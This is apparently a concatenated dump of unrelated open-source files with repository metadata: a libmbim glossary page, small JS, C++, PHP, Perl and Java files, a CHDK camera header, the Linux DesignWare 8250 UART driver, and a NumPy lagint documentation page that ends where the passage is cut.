frontend/app/js/editor/properties-panel/component-properties-template.html
HTML
gpl-2.0
1,191
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>libmbim-glib Reference Manual: Annotation Glossary</title> <meta name="generator" content="DocBook XSL Stylesheets V1.78.1"> <link rel="home" href="index.html" title="libmbim-glib Reference Manual"> <link rel="up" href="index.html" title="libmbim-glib Reference Manual"> <link rel="prev" href="api-index-full.html" title="API Index"> <meta name="generator" content="GTK-Doc V1.20 (XML mode)"> <link rel="stylesheet" href="style.css" type="text/css"> </head> <body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF"> <table class="navigation" id="top" width="100%" summary="Navigation header" cellpadding="2" cellspacing="10"><tr valign="middle"> <td width="100%" align="left" class="shortcuts"><span id="nav_glossary"><a class="shortcut" href="#glsO">O</a>  <span class="dim">|</span>  <a class="shortcut" href="#glsT">T</a></span></td> <td><a accesskey="h" href="index.html"><img src="home.png" width="16" height="16" border="0" alt="Home"></a></td> <td><img src="up-insensitive.png" width="16" height="16" border="0"></td> <td><a accesskey="p" href="api-index-full.html"><img src="left.png" width="16" height="16" border="0" alt="Prev"></a></td> <td><img src="right-insensitive.png" width="16" height="16" border="0"></td> </tr></table> <div class="glossary"> <div class="titlepage"><div><div><h1 class="title"> <a name="annotation-glossary"></a>Annotation Glossary</h1></div></div></div> <a name="glsO"></a><h3 class="title">O</h3> <dt><span class="glossterm"><a name="annotation-glossterm-out"></a>out</span></dt> <dd class="glossdef"><p>Parameter for returning results. Default is <acronym title="Free data after the code is done."><span class="acronym">transfer full</span></acronym>.</p></dd> <a name="glsT"></a><h3 class="title">T</h3> <dt><span class="glossterm"><a name="annotation-glossterm-transfer%20full"></a>transfer full</span></dt> <dd class="glossdef"><p>Free data after the code is done.</p></dd> <dt><span class="glossterm"><a name="annotation-glossterm-transfer%20none"></a>transfer none</span></dt> <dd class="glossdef"><p>Don't free data after the code is done.</p></dd> </div> <div class="footer"> <hr> Generated by GTK-Doc V1.20</div> </body> </html>
mkotsbak/libmbim-deb
docs/reference/libmbim-glib/html/annotation-glossary.html
HTML
gpl-2.0
2,403
/** * Created by inwebo on 05/02/15. */ alert('local');
inwebo/Libre
demos/assets/instances/www.test.fr/themes/default/public/js/demo.js
JavaScript
gpl-2.0
58
/*++ * * Kafka Message Queue * * DESCRIPTION: * AUTHOR: NickeyWoo * DATE: 2014/8/15 * --*/ #ifndef __KAFKA_PRODUCER_HH__ #define __KAFKA_PRODUCER_HH__ #include <boost/nocopyable.hpp> #include <google/protobuf/message_lite.h> #include <google/protobuf/message.h> #include <google/protobuf/descriptor.h> class KafkaProducer : public boost::nocopyable { public: template<typename MessageT> void Push(std::string strTopic, std::string strGroupId, MessageT* pstMessage) { } private: }; #endif // define __KAFKA_PRODUCER_HH__
NickeyWoo/SimpleRPC
Kafka/Kafka/Producer.hh
C++
gpl-2.0
545
<?php namespace Stormpath\Authc\Api; use Stormpath\Resource\ApiKey; use Stormpath\Resource\Application; class AuthenticatorResult { protected $application; protected $apiKey; protected $accessToken; public function __construct(Application $application, ApiKey $apiKey, $accessToken = null) { $this->application = $application; $this->apiKey = $apiKey; if($accessToken) { $this->accessToken = $accessToken; } } public function getApplication() { return $this->application; } public function getApiKey() { return $this->apiKey; } public function getAccessToken() { return $this->accessToken; } }
arckinteractive/elgg_stormpath
vendor/stormpath/sdk/src/Stormpath/Authc/Api/AuthenticatorResult.php
PHP
gpl-2.0
734
# vim: ts=2 sw=2 expandtab package Data::Transform::Identity; use strict; use Data::Transform; use vars qw($VERSION @ISA); $VERSION = '0.01'; @ISA = qw(Data::Transform); sub new { my $type = shift; my $self = bless [ [] ], $type; return $self; } sub clone { my $self = shift; my $clone = bless [ [] ], ref $self; return $clone; } sub _handle_get_data { my ($self, $data) = @_; return $data; } sub _handle_put_data { my ($self, $chunk) = @_; return $chunk; } 1; __END__ =head1 NAME Data::Transform::Identity - a no-op filter that passes data through unchanged =head1 SYNOPSIS #!perl use Term::ReadKey; use POE qw(Wheel::ReadWrite Filter::Stream); POE::Session->create( inline_states => { _start => sub { ReadMode "ultra-raw"; $_[HEAP]{io} = POE::Wheel::ReadWrite->new( InputHandle => \*STDIN, OutputHandle => \*STDOUT, InputEvent => "got_some_data", Filter => POE::Filter::Stream->new(), ); }, got_some_data => sub { $_[HEAP]{io}->put("<$_[ARG0]>"); delete $_[HEAP]{io} if $_[ARG0] eq "\cC"; }, _stop => sub { ReadMode "restore"; print "\n"; }, } ); POE::Kernel->run(); exit; =head1 DESCRIPTION Data::Transform::Identity passes data through unchanged. It follows Data::Transform's API and implements no new functionality. In the L</SYNOPSIS>, POE::Filter::Stream is used to collect keystrokes without any interpretation and display output without any embellishments. =head1 SEE ALSO L<Data::Transform> =head1 AUTHORS & COPYRIGHTS See L<Data::Transform> =cut
gitpan/Data-Transform
lib/Data/Transform/Identity.pm
Perl
gpl-2.0
1,663
// Camera - SX150IS - platform_camera.h // This file contains the various settings values specific to the SX150IS camera. // This file is referenced via the 'include/camera.h' file and should not be loaded directly. // If adding a new settings value put a suitable default in 'include/camera.h', // along with documentation on what the setting does and how to determine the correct value. // If the setting should not have a default value then add it in 'include/camera.h' // using the '#undef' directive along with appropriate documentation. // Override any default values with your camera specific values in this file. Try and avoid // having override values that are the same as the default value. // When overriding a setting value there are two cases: // 1. If removing the value, because it does not apply to your camera, use the '#undef' directive. // 2. If changing the value it is best to use an '#undef' directive to remove the default value // followed by a '#define' to set the new value. // When porting CHDK to a new camera, check the documentation in 'include/camera.h' // for information on each setting. If the default values are correct for your camera then // don't override them again in here. #define CAM_PROPSET 4 #define CAM_DRYOS 1 #define CAM_DRYOS_2_3_R39 1 #define CAM_DRYOS_2_3_R47 1 // Defined for cameras with DryOS version R47 or higher #undef CAM_CAN_UNLOCK_OPTICAL_ZOOM_IN_VIDEO #define CAM_HAS_VIDEO_BUTTON 1 #define CAM_VIDEO_QUALITY_ONLY 1 #define CAM_BRACKETING 1 #undef CAM_VIDEO_CONTROL #define CAM_HAS_JOGDIAL 1 #undef CAM_USE_ZOOM_FOR_MF #undef CAM_UNCACHED_BIT #define CAM_UNCACHED_BIT 0x40000000 #define CAM_ADJUSTABLE_ALT_BUTTON 1 #define CAM_ALT_BUTTON_NAMES { "Playback", "Video", "Display" } #define CAM_ALT_BUTTON_OPTIONS { KEY_PRINT, KEY_VIDEO, KEY_DISPLAY } #define CAM_DNG_LENS_INFO { 50,10, 600,10, 34,10, 56,10 } // See comments in camera.h // pattern #define cam_CFAPattern 0x01000201 // Green Blue Red Green // color #define CAM_COLORMATRIX1 \ 1301431, 1000000, -469837, 1000000, -102652, 1000000, \ -200195, 1000000, 961551, 1000000, 238645, 1000000, \ -16441, 1000000, 142319, 1000000, 375979, 1000000 #define cam_CalibrationIlluminant1 1 // Daylight // Sensor size, DNG image size & cropping #define CAM_RAW_ROWPIX 4464 #define CAM_RAW_ROWS 3276 #define CAM_JPEG_WIDTH 4368 #define CAM_JPEG_HEIGHT 3254 #define CAM_ACTIVE_AREA_X1 24 #define CAM_ACTIVE_AREA_Y1 10 #define CAM_ACTIVE_AREA_X2 (CAM_RAW_ROWPIX-72) #define CAM_ACTIVE_AREA_Y2 (CAM_RAW_ROWS-12) // camera name #define PARAM_CAMERA_NAME 4 // parameter number for GetParameterData #undef CAM_SENSOR_BITS_PER_PIXEL #define CAM_SENSOR_BITS_PER_PIXEL 12 #define CAM_QUALITY_OVERRIDE 1 // copied from the SX200 which has the same video buffer size #undef CAM_USES_ASPECT_CORRECTION #define CAM_USES_ASPECT_CORRECTION 1 //camera uses the modified graphics primitives to map screens an viewports to buffers more sized #undef CAM_BITMAP_WIDTH #define CAM_BITMAP_WIDTH 720 // Actual width of bitmap screen in bytes #define CAM_ZEBRA_NOBUF 1 //#undef EDGE_HMARGIN //#define EDGE_HMARGIN 28 #define CAM_DATE_FOLDER_NAMING 0x400 // CR2 accesible through USB #undef DEFAULT_RAW_EXT #define DEFAULT_RAW_EXT 2 #define CAM_DRIVE_MODE_FROM_TIMER_MODE 1 // use PROPCASE_TIMER_MODE to check for multiple shot custom timer. // Used to enabled bracketing in custom timer, required on many recent cameras // see http://chdk.setepontos.com/index.php/topic,3994.405.html #undef CAM_USB_EVENTID #define CAM_USB_EVENTID 0x202 // Levent ID for USB control. Changed in DryOS R49 so needs to be overridable. #define REMOTE_SYNC_STATUS_LED 0xC0220014 // specifies an LED that turns on while camera waits for USB remote to sync #define CAM_USE_ALT_SET_ZOOM_POINT 1 // Define to use the alternate code in lens_set_zoom_point() #define CAM_USE_ALT_PT_MoveOpticalZoomAt 1 // Define to use the PT_MoveOpticalZoomAt() function in lens_set_zoom_point() #define CAM_NEED_SET_ZOOM_DELAY 300 // http://chdk.setepontos.com/index.php?topic=6953.msg119736#msg119736 #define CAM_SD_OVER_IN_AF 1 #define CAM_SD_OVER_IN_AFL 1 #define CAM_SD_OVER_IN_MF 1 #undef CAM_AF_LED #define CAM_AF_LED 1 #define CAM_REAR_CURTAIN 1 //--------------------------------------------------
c10ud/CHDK
platform/sx150is/platform_camera.h
C
gpl-2.0
5,729
package com.moon.threadlocal; import org.junit.Test; /** * Created by Paul on 2017/2/12. */ public class SequenceA implements Sequence{ private static int number=0; @Override public int getNumber(){ number=number+1; return number; } }
linpingchuan/misc
java/framework/src/test/java/com/moon/threadlocal/SequenceA.java
Java
gpl-2.0
272
/* * Synopsys DesignWare 8250 driver. * * Copyright 2011 Picochip, Jamie Iles. * Copyright 2013 Intel Corporation * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * The Synopsys DesignWare 8250 has an extra feature whereby it detects if the * LCR is written whilst busy. If it is, then a busy detect interrupt is * raised, the LCR needs to be rewritten and the uart status register read. */ #include <linux/device.h> #include <linux/io.h> #include <linux/module.h> #include <linux/serial_8250.h> #include <linux/serial_core.h> #include <linux/serial_reg.h> #include <linux/of.h> #include <linux/of_irq.h> #include <linux/of_platform.h> #include <linux/platform_device.h> #include <linux/slab.h> #include <linux/acpi.h> #include <linux/clk.h> #include <linux/reset.h> #include <linux/pm_runtime.h> #include <asm/byteorder.h> #include "8250.h" /* Offsets for the DesignWare specific registers */ #define DW_UART_USR 0x1f /* UART Status Register */ #define DW_UART_CPR 0xf4 /* Component Parameter Register */ #define DW_UART_UCV 0xf8 /* UART Component Version */ /* Component Parameter Register bits */ #define DW_UART_CPR_ABP_DATA_WIDTH (3 << 0) #define DW_UART_CPR_AFCE_MODE (1 << 4) #define DW_UART_CPR_THRE_MODE (1 << 5) #define DW_UART_CPR_SIR_MODE (1 << 6) #define DW_UART_CPR_SIR_LP_MODE (1 << 7) #define DW_UART_CPR_ADDITIONAL_FEATURES (1 << 8) #define DW_UART_CPR_FIFO_ACCESS (1 << 9) #define DW_UART_CPR_FIFO_STAT (1 << 10) #define DW_UART_CPR_SHADOW (1 << 11) #define DW_UART_CPR_ENCODED_PARMS (1 << 12) #define DW_UART_CPR_DMA_EXTRA (1 << 13) #define DW_UART_CPR_FIFO_MODE (0xff << 16) /* Helper for fifo size calculation */ #define DW_UART_CPR_FIFO_SIZE(a) (((a >> 16) & 0xff) * 16) struct dw8250_data { u8 usr_reg; int last_mcr; int line; struct clk *clk; struct reset_control *rst; struct uart_8250_dma dma; }; static inline int dw8250_modify_msr(struct uart_port *p, int offset, int value) { struct dw8250_data *d = p->private_data; /* If reading MSR, report CTS asserted when auto-CTS/RTS enabled */ if (offset == UART_MSR && d->last_mcr & UART_MCR_AFE) { value |= UART_MSR_CTS; value &= ~UART_MSR_DCTS; } return value; } static void dw8250_force_idle(struct uart_port *p) { serial8250_clear_and_reinit_fifos(container_of (p, struct uart_8250_port, port)); (void)p->serial_in(p, UART_RX); } static void dw8250_serial_out(struct uart_port *p, int offset, int value) { struct dw8250_data *d = p->private_data; if (offset == UART_MCR) d->last_mcr = value; writeb(value, p->membase + (offset << p->regshift)); /* Make sure LCR write wasn't ignored */ if (offset == UART_LCR) { int tries = 1000; while (tries--) { unsigned int lcr = p->serial_in(p, UART_LCR); if ((value & ~UART_LCR_SPAR) == (lcr & ~UART_LCR_SPAR)) return; dw8250_force_idle(p); writeb(value, p->membase + (UART_LCR << p->regshift)); } dev_err(p->dev, "Couldn't set LCR to %d\n", value); } } static unsigned int dw8250_serial_in(struct uart_port *p, int offset) { unsigned int value = readb(p->membase + (offset << p->regshift)); return dw8250_modify_msr(p, offset, value); } /* Read Back (rb) version to ensure register access ording. */ static void dw8250_serial_out_rb(struct uart_port *p, int offset, int value) { dw8250_serial_out(p, offset, value); dw8250_serial_in(p, UART_LCR); } static void dw8250_serial_out32(struct uart_port *p, int offset, int value) { struct dw8250_data *d = p->private_data; if (offset == UART_MCR) d->last_mcr = value; writel(value, p->membase + (offset << p->regshift)); /* Make sure LCR write wasn't ignored */ if (offset == UART_LCR) { int tries = 1000; while (tries--) { unsigned int lcr = p->serial_in(p, UART_LCR); if ((value & ~UART_LCR_SPAR) == (lcr & ~UART_LCR_SPAR)) return; dw8250_force_idle(p); writel(value, p->membase + (UART_LCR << p->regshift)); } dev_err(p->dev, "Couldn't set LCR to %d\n", value); } } static unsigned int dw8250_serial_in32(struct uart_port *p, int offset) { unsigned int value = readl(p->membase + (offset << p->regshift)); return dw8250_modify_msr(p, offset, value); } static int dw8250_handle_irq(struct uart_port *p) { struct dw8250_data *d = p->private_data; unsigned int iir = p->serial_in(p, UART_IIR); if (serial8250_handle_irq(p, iir)) { return 1; } else if ((iir & UART_IIR_BUSY) == UART_IIR_BUSY) { /* Clear the USR */ (void)p->serial_in(p, d->usr_reg); return 1; } return 0; } static void dw8250_do_pm(struct uart_port *port, unsigned int state, unsigned int old) { if (!state) pm_runtime_get_sync(port->dev); serial8250_do_pm(port, state, old); if (state) pm_runtime_put_sync_suspend(port->dev); } static bool dw8250_dma_filter(struct dma_chan *chan, void *param) { struct dw8250_data *data = param; return chan->chan_id == data->dma.tx_chan_id || chan->chan_id == data->dma.rx_chan_id; } static void dw8250_setup_port(struct uart_8250_port *up) { struct uart_port *p = &up->port; u32 reg = readl(p->membase + DW_UART_UCV); /* * If the Component Version Register returns zero, we know that * ADDITIONAL_FEATURES are not enabled. No need to go any further. */ if (!reg) return; dev_dbg_ratelimited(p->dev, "Designware UART version %c.%c%c\n", (reg >> 24) & 0xff, (reg >> 16) & 0xff, (reg >> 8) & 0xff); reg = readl(p->membase + DW_UART_CPR); if (!reg) return; /* Select the type based on fifo */ if (reg & DW_UART_CPR_FIFO_MODE) { p->type = PORT_16550A; p->flags |= UPF_FIXED_TYPE; p->fifosize = DW_UART_CPR_FIFO_SIZE(reg); up->tx_loadsz = p->fifosize; up->capabilities = UART_CAP_FIFO; } if (reg & DW_UART_CPR_AFCE_MODE) up->capabilities |= UART_CAP_AFE; } static int dw8250_probe_of(struct uart_port *p, struct dw8250_data *data) { struct device_node *np = p->dev->of_node; u32 val; bool has_ucv = true; if (of_device_is_compatible(np, "cavium,octeon-3860-uart")) { #ifdef __BIG_ENDIAN /* * Low order bits of these 64-bit registers, when * accessed as a byte, are 7 bytes further down in the * address space in big endian mode. */ p->membase += 7; #endif p->serial_out = dw8250_serial_out_rb; p->flags = ASYNC_SKIP_TEST | UPF_SHARE_IRQ | UPF_FIXED_TYPE; p->type = PORT_OCTEON; data->usr_reg = 0x27; has_ucv = false; } else if (!of_property_read_u32(np, "reg-io-width", &val)) { switch (val) { case 1: break; case 4: p->iotype = UPIO_MEM32; p->serial_in = dw8250_serial_in32; p->serial_out = dw8250_serial_out32; break; default: dev_err(p->dev, "unsupported reg-io-width (%u)\n", val); return -EINVAL; } } if (has_ucv) dw8250_setup_port(container_of(p, struct uart_8250_port, port)); if (!of_property_read_u32(np, "reg-shift", &val)) p->regshift = val; data->rst = devm_reset_control_get_optional(p->dev, NULL); /* clock got configured through clk api, all done */ if (p->uartclk) return 0; /* try to find out clock frequency from DT as fallback */ if (of_property_read_u32(np, "clock-frequency", &val)) { dev_err(p->dev, "clk or clock-frequency not defined\n"); return -EINVAL; } p->uartclk = val; return 0; } static int dw8250_probe_acpi(struct uart_8250_port *up, struct dw8250_data *data) { const struct acpi_device_id *id; struct uart_port *p = &up->port; dw8250_setup_port(up); id = acpi_match_device(p->dev->driver->acpi_match_table, p->dev); if (!id) return -ENODEV; p->iotype = UPIO_MEM32; p->serial_in = dw8250_serial_in32; p->serial_out = dw8250_serial_out32; p->regshift = 2; if (!p->uartclk) p->uartclk = (unsigned int)id->driver_data; up->dma = &data->dma; up->dma->rxconf.src_maxburst = p->fifosize / 4; up->dma->txconf.dst_maxburst = p->fifosize / 4; return 0; } static int dw8250_probe(struct platform_device *pdev) { struct uart_8250_port uart = {}; struct resource *regs = platform_get_resource(pdev, IORESOURCE_MEM, 0); struct resource *irq = platform_get_resource(pdev, IORESOURCE_IRQ, 0); struct dw8250_data *data; int err; if (!regs || !irq) { dev_err(&pdev->dev, "no registers/irq defined\n"); return -EINVAL; } spin_lock_init(&uart.port.lock); uart.port.mapbase = regs->start; uart.port.irq = irq->start; uart.port.handle_irq = dw8250_handle_irq; uart.port.pm = dw8250_do_pm; uart.port.type = PORT_8250; uart.port.flags = UPF_SHARE_IRQ | UPF_BOOT_AUTOCONF | UPF_FIXED_PORT; uart.port.dev = &pdev->dev; uart.port.membase = devm_ioremap(&pdev->dev, regs->start, resource_size(regs)); if (!uart.port.membase) return -ENOMEM; data = devm_kzalloc(&pdev->dev, sizeof(*data), GFP_KERNEL); if (!data) return -ENOMEM; data->usr_reg = DW_UART_USR; data->clk = devm_clk_get(&pdev->dev, NULL); if (!IS_ERR(data->clk)) { clk_prepare_enable(data->clk); uart.port.uartclk = clk_get_rate(data->clk); } data->dma.rx_chan_id = -1; data->dma.tx_chan_id = -1; data->dma.rx_param = data; data->dma.tx_param = data; data->dma.fn = dw8250_dma_filter; uart.port.iotype = UPIO_MEM; uart.port.serial_in = dw8250_serial_in; uart.port.serial_out = dw8250_serial_out; uart.port.private_data = data; if (pdev->dev.of_node) { err = dw8250_probe_of(&uart.port, data); if (err) return err; } else if (ACPI_HANDLE(&pdev->dev)) { err = dw8250_probe_acpi(&uart, data); if (err) return err; } else { return -ENODEV; } if (!IS_ERR_OR_NULL(data->rst)) reset_control_deassert(data->rst); data->line = serial8250_register_8250_port(&uart); if (data->line < 0) return data->line; platform_set_drvdata(pdev, data); pm_runtime_set_active(&pdev->dev); pm_runtime_enable(&pdev->dev); return 0; } static int dw8250_remove(struct platform_device *pdev) { struct dw8250_data *data = platform_get_drvdata(pdev); pm_runtime_get_sync(&pdev->dev); serial8250_unregister_port(data->line); if (!IS_ERR_OR_NULL(data->rst)) reset_control_assert(data->rst); if (!IS_ERR(data->clk)) clk_disable_unprepare(data->clk); pm_runtime_disable(&pdev->dev); pm_runtime_put_noidle(&pdev->dev); return 0; } #ifdef CONFIG_PM_SLEEP static int dw8250_suspend(struct device *dev) { struct dw8250_data *data = dev_get_drvdata(dev); serial8250_suspend_port(data->line); return 0; } static int dw8250_resume(struct device *dev) { struct dw8250_data *data = dev_get_drvdata(dev); serial8250_resume_port(data->line); return 0; } #endif /* CONFIG_PM_SLEEP */ #ifdef CONFIG_PM_RUNTIME static int dw8250_runtime_suspend(struct device *dev) { struct dw8250_data *data = dev_get_drvdata(dev); if (!IS_ERR(data->clk)) clk_disable_unprepare(data->clk); return 0; } static int dw8250_runtime_resume(struct device *dev) { struct dw8250_data *data = dev_get_drvdata(dev); if (!IS_ERR(data->clk)) clk_prepare_enable(data->clk); return 0; } #endif static const struct dev_pm_ops dw8250_pm_ops = { SET_SYSTEM_SLEEP_PM_OPS(dw8250_suspend, dw8250_resume) SET_RUNTIME_PM_OPS(dw8250_runtime_suspend, dw8250_runtime_resume, NULL) }; static const struct of_device_id dw8250_of_match[] = { { .compatible = "snps,dw-apb-uart" }, { .compatible = "cavium,octeon-3860-uart" }, { /* Sentinel */ } }; MODULE_DEVICE_TABLE(of, dw8250_of_match); static const struct acpi_device_id dw8250_acpi_match[] = { { "INT33C4", 0 }, { "INT33C5", 0 }, { "INT3434", 0 }, { "INT3435", 0 }, { "80860F0A", 0 }, { }, }; MODULE_DEVICE_TABLE(acpi, dw8250_acpi_match); static struct platform_driver dw8250_platform_driver = { .driver = { .name = "dw-apb-uart", .owner = THIS_MODULE, .pm = &dw8250_pm_ops, .of_match_table = dw8250_of_match, .acpi_match_table = ACPI_PTR(dw8250_acpi_match), }, .probe = dw8250_probe, .remove = dw8250_remove, }; module_platform_driver(dw8250_platform_driver); MODULE_AUTHOR("Jamie Iles"); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Synopsys DesignWare 8250 serial port driver");
fredericgermain/linux-sunxi
drivers/tty/serial/8250/8250_dw.c
C
gpl-2.0
12,111
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>numpy.polynomial.laguerre.lagint &mdash; NumPy v1.10 Manual</title> <link rel="stylesheet" type="text/css" href="../../static_/css/spc-bootstrap.css"> <link rel="stylesheet" type="text/css" href="../../static_/css/spc-extend.css"> <link rel="stylesheet" href="../../static_/scipy.css" type="text/css" > <link rel="stylesheet" href="../../static_/pygments.css" type="text/css" > <script type="text/javascript"> var DOCUMENTATION_OPTIONS = { URL_ROOT: '../../', VERSION: '1.10.1', COLLAPSE_INDEX: false, FILE_SUFFIX: '.html', HAS_SOURCE: false }; </script> <script type="text/javascript" src="../../static_/jquery.js"></script> <script type="text/javascript" src="../../static_/underscore.js"></script> <script type="text/javascript" src="../../static_/doctools.js"></script> <script type="text/javascript" src="../../static_/js/copybutton.js"></script> <link rel="author" title="About these documents" href="../../about.html" > <link rel="top" title="NumPy v1.10 Manual" href="../../index.html" > <link rel="up" title="Laguerre Module (numpy.polynomial.laguerre)" href="../routines.polynomials.laguerre.html" > <link rel="next" title="numpy.polynomial.laguerre.lagadd" href="numpy.polynomial.laguerre.lagadd.html" > <link rel="prev" title="numpy.polynomial.laguerre.lagder" href="numpy.polynomial.laguerre.lagder.html" > </head> <body> <div class="container"> <div class="header"> </div> </div> <div class="container"> <div class="main"> <div class="row-fluid"> <div class="span12"> <div class="spc-navbar"> <ul class="nav nav-pills pull-left"> <li class="active"><a href="../../index.html">NumPy v1.10 Manual</a></li> <li class="active"><a href="../index.html" >NumPy Reference</a></li> <li class="active"><a href="../routines.html" >Routines</a></li> <li class="active"><a href="../routines.polynomials.html" >Polynomials</a></li> <li class="active"><a href="../routines.polynomials.package.html" >Polynomial Package</a></li> <li class="active"><a href="../routines.polynomials.laguerre.html" accesskey="U">Laguerre Module (<tt class="docutils literal"><span class="pre">numpy.polynomial.laguerre</span></tt>)</a></li> </ul> <ul class="nav nav-pills pull-right"> <li class="active"> <a href="../../genindex.html" title="General Index" accesskey="I">index</a> </li> <li class="active"> <a href="numpy.polynomial.laguerre.lagadd.html" title="numpy.polynomial.laguerre.lagadd" accesskey="N">next</a> </li> <li class="active"> <a href="numpy.polynomial.laguerre.lagder.html" title="numpy.polynomial.laguerre.lagder" accesskey="P">previous</a> </li> </ul> </div> </div> </div> <div class="row-fluid"> <div class="spc-rightsidebar span3"> <div class="sphinxsidebarwrapper"> <h4>Previous topic</h4> <p class="topless"><a href="numpy.polynomial.laguerre.lagder.html" title="previous chapter">numpy.polynomial.laguerre.lagder</a></p> <h4>Next topic</h4> <p class="topless"><a href="numpy.polynomial.laguerre.lagadd.html" title="next chapter">numpy.polynomial.laguerre.lagadd</a></p> </div> </div> <div class="span9"> <div class="bodywrapper"> <div class="body" id="spc-section-body"> <div class="section" id="numpy-polynomial-laguerre-lagint"> <h1>numpy.polynomial.laguerre.lagint<a class="headerlink" href="#numpy-polynomial-laguerre-lagint" title="Permalink to this headline">¶</a></h1> <dl class="function"> <dt id="numpy.polynomial.laguerre.lagint"> <tt class="descclassname">numpy.polynomial.laguerre.</tt><tt class="descname">lagint</tt><big>(</big><em>c</em>, <em>m=1</em>, <em>k=</em>, <span class="optional">[</span><span class="optional">]</span><em>lbnd=0</em>, <em>scl=1</em>, <em>axis=0</em><big>)</big><a class="reference external" href="http://github.com/numpy/numpy/blob/v1.10.1/numpy/polynomial/laguerre.py#L726-L850"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#numpy.polynomial.laguerre.lagint" title="Permalink to this definition">¶</a></dt> <dd><p>Integrate a Laguerre series.</p> <p>Returns the Laguerre series coefficients <em class="xref py py-obj">c</em> integrated <em class="xref py py-obj">m</em> times from <em class="xref py py-obj">lbnd</em> along <em class="xref py py-obj">axis</em>. At each iteration the resulting series is <strong>multiplied</strong> by <em class="xref py py-obj">scl</em> and an integration constant, <em class="xref py py-obj">k</em>, is added. The scaling factor is for use in a linear change of variable. (&#8220;Buyer beware&#8221;: note that, depending on what one is doing, one may want <em class="xref py py-obj">scl</em> to be the reciprocal of what one might expect; for more information, see the Notes section below.) The argument <em class="xref py py-obj">c</em> is an array of coefficients from low to high degree along each axis, e.g., [1,2,3] represents the series <tt class="docutils literal"><span class="pre">L_0</span> <span class="pre">+</span> <span class="pre">2*L_1</span> <span class="pre">+</span> <span class="pre">3*L_2</span></tt> while [[1,2],[1,2]] represents <tt class="docutils literal"><span class="pre">1*L_0(x)*L_0(y)</span> <span class="pre">+</span> <span class="pre">1*L_1(x)*L_0(y)</span> <span class="pre">+</span> <span class="pre">2*L_0(x)*L_1(y)</span> <span class="pre">+</span> <span class="pre">2*L_1(x)*L_1(y)</span></tt> if axis=0 is <tt class="docutils literal"><span class="pre">x</span></tt> and axis=1 is <tt class="docutils literal"><span class="pre">y</span></tt>.</p> <table class="docutils field-list" frame="void" rules="none"> <col class="field-name" /> <col class="field-body" /> <tbody valign="top"> <tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><p class="first"><strong>c</strong> : array_like</p> <blockquote> <div><p>Array of Laguerre series coefficients. If <em class="xref py py-obj">c</em> is multidimensional the different axis correspond to different variables with the degree in each axis given by the corresponding index.</p> </div></blockquote> <p><strong>m</strong> : int, optional</p> <blockquote> <div><p>Order of integration, must be positive. (Default: 1)</p> </div></blockquote> <p><strong>k</strong> : {[], list, scalar}, optional</p> <blockquote> <div><p>Integration constant(s). The value of the first integral at <tt class="docutils literal"><span class="pre">lbnd</span></tt> is the first value in the list, the value of the second integral at <tt class="docutils literal"><span class="pre">lbnd</span></tt> is the second value, etc. If <tt class="docutils literal"><span class="pre">k</span> <span class="pre">==</span> <span class="pre">[]</span></tt> (the default), all constants are set to zero. If <tt class="docutils literal"><span class="pre">m</span> <span class="pre">==</span> <span class="pre">1</span></tt>, a single scalar can be given instead of a list.</p> </div></blockquote> <p><strong>lbnd</strong> : scalar, optional</p> <blockquote> <div><p>The lower bound of the integral. (Default: 0)</p> </div></blockquote> <p><strong>scl</strong> : scalar, optional</p> <blockquote> <div><p>Following each integration the result is <em>multiplied</em> by <em class="xref py py-obj">scl</em> before the integration constant is added. (Default: 1)</p> </div></blockquote> <p><strong>axis</strong> : int, optional</p> <blockquote> <div><p>Axis over which the integral is taken. (Default: 0).</p> <div class="versionadded"> <p><span class="versionmodified">New in version 1.7.0.</span></p> </div> </div></blockquote> </td> </tr> <tr class="field-even field"><th class="field-name">Returns:</th><td class="field-body"><p class="first"><strong>S</strong> : ndarray</p> <blockquote> <div><p>Laguerre series coefficients of the integral.</p> </div></blockquote> </td> </tr> <tr class="field-odd field"><th class="field-name">Raises:</th><td class="field-body"><p class="first"><strong>ValueError</strong></p> <blockquote class="last"> <div><p>If <tt class="docutils literal"><span class="pre">m</span> <span class="pre">&lt;</span> <span class="pre">0</span></tt>, <tt class="docutils literal"><span class="pre">len(k)</span> <span class="pre">&gt;</span> <span class="pre">m</span></tt>, <tt class="docutils literal"><span class="pre">np.isscalar(lbnd)</span> <span class="pre">==</span> <span class="pre">False</span></tt>, or <tt class="docutils literal"><span class="pre">np.isscalar(scl)</span> <span class="pre">==</span> <span class="pre">False</span></tt>.</p> </div></blockquote> </td> </tr> </tbody> </table> <div class="admonition seealso"> <p class="first admonition-title">See also</p> <p class="last"><a class="reference internal" href="numpy.polynomial.laguerre.lagder.html#numpy.polynomial.laguerre.lagder" title="numpy.polynomial.laguerre.lagder"><tt class="xref py py-obj docutils literal"><span class="pre">lagder</span></tt></a></p> </div> <p class="rubric">Notes</p> <p>Note that the result of each integration is <em>multiplied</em> by <em class="xref py py-obj">scl</em>. Why is this important to note? Say one is making a linear change of variable <img class="math" src="../../images_/math/0fd237ce10d293b0e64ed3fb4b45e59ad541a794.png" alt="u = ax + b" style="vertical-align: -1px"/> in an integral relative to <em class="xref py py-obj">x</em>. Then .. math::<em class="xref py py-obj">dx = du/a</em>, so one will need to set <em class="xref py py-obj">scl</em> equal to <img class="math" src="../../images_/math/991aa4b1f8dc7e87dc834a2b161a376e1b0d1e7e.png" alt="1/a" style="vertical-align: -4px"/> - perhaps not what one would have first thought.</p> <p>Also note that, in general, the result of integrating a C-series needs to be &#8220;reprojected&#8221; onto the C-series basis set. Thus, typically, the result of this function is &#8220;unintuitive,&#8221; albeit correct; see Examples section below.</p> <p class="rubric">Examples</p> <div class="highlight-python"><div class="highlight"><pre><span class="gp">&gt;&gt;&gt; </span><span class="kn">from</span> <span class="nn">numpy.polynomial.laguerre</span> <span class="kn">import</span> <span class="n">lagint</span> <span class="gp">&gt;&gt;&gt; </span><span class="n">lagint</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">])</span> <span class="go">array([ 1., 1., 1., -3.])</span> <span class="gp">&gt;&gt;&gt; </span><span 